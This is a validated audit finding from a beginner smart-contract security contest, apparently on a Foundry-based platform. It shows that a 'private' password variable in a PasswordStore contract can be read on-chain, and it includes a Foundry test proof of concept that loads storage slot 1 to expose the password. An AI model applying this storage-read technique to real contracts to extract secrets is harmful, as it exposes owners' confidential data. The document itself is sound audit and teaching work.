Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Owner's password stored in the `s_password` state variable is not a secret and can be seen by everyone

Summary

The protocol is using a private state variable to store the owner's password under the assumption that being a "private" variable its value is a secret from everyone else except the owner; which is a completely false assumption.

In Solidity, marking a variable as private doesn't mean that the data stored in that variable is entirely secret or private from all observers of the blockchain. While it restricts direct external access to the variable from other contracts, it's essential to understand that the data on the blockchain is inherently transparent and can be viewed by anyone. Other smart contracts and blockchain explorers can still access and read the data if they know where to look.

'Private' in Solidity primarily provides encapsulation and access control within the contract itself, rather than offering complete data privacy on the public blockchain.

Vulnerability Details

string private s_password;

Aforementioned is the s_password variable which is being assumed as a secret by the protocol for it being a private variable. This is a completely false assumption since all data on the blockchain is public.

Proof of Concept

Actors:

  • Attacker: Any non-owner malicious actor on the network.

  • Victim: Owner of the PasswordStore protocol.

  • Protocol: PasswordStore is meant to allow only the owner to store and retrieve their password securely.

Working Test Case:

(Note : Though the following code fetches the Victim's password correctly in ASCII format; with my current skills in Solidity I've been struggling to make the assertEq() function return true when comparing the two strings. The problem seems to be with how the result of abi.encodePacked() for anyoneCanReadPassword variable fetched from vm.load has a bunch of trailing zeroes in it while the same for victimPassword doesn't.

Therefore my current POC proves the exploit by using console.log instead of assertEq
)

Write and run the following test case in the PasswordStore.t.sol test file.

function test_any_non_owner_can_see_password() public {
string memory victimPassword = "mySecretPassword"; // Defines Victim's (Owner's) password
vm.startPrank(owner); // Simulates Victim's address for the next call
passwordStore.setPassword(victimPassword); // Victim sets their password
// At this point, Victim thinks their password is now "privately" stored on the protocol and is completely secret.
// The exploit code that now follows can be performed by just about everyone on the blockchain who are aware of the Victim's protocol and can access and read the Victim's password.
/////////// EXPLOIT CODE performed by Attacker ///////////
// By observing the protocol's source code at `PasswordStore.sol`, we notice that `s_password` is the second storage variable declared in the contract. Since storage slots are alloted in the order of declaration in the EVM, its slot value will be '1'
uint256 S_PASSWORD_STORAGE_SLOT_VALUE = 1;
// Access the protocol's storage data at slot 1
bytes32 slotData = vm.load(
address(passwordStore),
bytes32(S_PASSWORD_STORAGE_SLOT_VALUE)
);
// Converting `bytes` data to `string`
string memory anyoneCanReadPassword = string(
abi.encodePacked(slotData)
);
// Exposes Victim's password on console
console.log(anyoneCanReadPassword);
}

Make sure to run the test command with -vv flag to see the Logs in command output.

Impact

This vulnerability completely compromises the confidentiality of the protocol and exposes the sensitive private data of the owner of the protocol to everyone on the blockchain.

Tools Used

Foundry

Recommendations

All data on the blockchain is public. To store sensitive information, additional encryption or off-chain solutions should be considered. Sensitive and personal data should never be stored on the blockchain in plaintext or weakly encrypted or encoded format.

Updates

Lead Judging Commences

inallhonesty Lead Judge
almost 2 years ago
inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-read-storage

Private functions and state variables are only visible for the contract they are defined in and not in derived contracts. In this case private doesn't mean secret/confidential

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.